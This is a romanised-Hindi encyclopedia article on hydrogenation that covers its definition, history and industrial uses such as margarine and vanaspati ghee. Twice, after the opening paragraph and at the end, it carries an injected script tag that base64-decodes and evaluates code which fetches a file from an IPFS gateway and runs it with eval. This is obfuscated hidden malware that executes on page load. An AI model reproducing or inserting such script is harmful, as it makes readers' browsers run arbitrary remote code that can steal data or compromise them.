हाइड्रोजनीकरण
haidrojanikaran (aangrezi: Hydrogenation) se abhipray hai ki keval asantript karbanik yaugikoan se haidrojan ki kriya dvara santript yaugikoan ko prapt karana. jaise haidrojanikaran dvara ethilin athava aisetilin se ethen prapt kiya jata hai. haidrojanikaran mean ethil ailkoh aaul, aisitik aml, ethil aisited, santript haidrokarban jaise haidrokarbanoan mean narmal heksen[1], dekalin aur saikloheksen vilayakoan ka prayog adhikata se hota hai.
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
itihas
navajat avastha mean haidrojan kuchh sahaj apachey yaugikoan ke sath sakriy hai. is bhaanti kiton se dvitiyak ailkoh aaul tatha naitro yaugikoan se aimin sugamata se prapt ho jate haian. ajakal yah man liya gaya hai ki karbanik padarthoan ka utprerak ke prabhav se haidrojan ka pratyaksh sanyojan bhi haidrojanikaran hai. aitihasik drishti se utprerakiy haidrojanikaran se haidrojan tatha haidrojan sainaid ke mishran ko plaitinam kalikh par pravahit kar methil aimin sarvapratham prapt kiya gaya tha. pal saivaitiye (1854-1941) tatha inake sahayogiyoan ke anusandhanoan se vashp avastha mean haidrojanikaran vidhi mean vishesh pragati huee. 1905 mean drav avastha haidrojanikaran sookshm kanik dhatuoan ke utprerak upayogoan ke anusandhan aranbh hue aur usamean vishesh saphalata mili, jisake phalasvaroop drav avastha mean haidrojanikaran audyogik prakramoan mean vishesh roop se prachalit hai. bisavian shatabdi mean vaijnanikoan ne haidrojanikaran vidhi mean vishesh pragati ki aur usake phalasvaroop hamari janakari bahut badh gee.. skita tatha inake sahayogiyoan ne nikil, kobalt, loha, taanba aur sare pletinam varg ki dhatuoan ki upasthiti mean haidrojanikaran ka vishesh adhyayan kiya.
mahattv
aj ke vaijnanik yug mean haidrojanikaran b de mahattv ka takaniki prakram hai. pashchaty deshoan mean teloan mean maragarin, bharat mean teloan se vanaspati ghi, koyale se petroliyam, anek karbanik vilayakoan, plastik madhyam, lanbi shrriankhala vale karbanik yaugikoan, jinaka upayog petrol ya sabun banane mean aj hota hai, haidrojanikaran se taiyar hote haian. hvel aur machhali ke teloan ke is prakar haidrojanikaran se maragarin aur mooangaphali ke tel se kotojem, nariyal ke tel se phokojem aur mooangaphali ke tel se dalada adi banate haian. ethilin sadrish yugmabandhavale, aisitilin sadrish trikabandh vale aur kiton samooh vale yaugik shighrata se haidrojanikrit ho jate haian. aise yaugikoan mean yadi elkil samooh jo da jae to haidrojanikaran ki gati unake bhar ke anusar dhimi hoti jati hai.
|
|
|
|
|
|
tika tippani aur sandarbh
- ↑ n-hexane
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>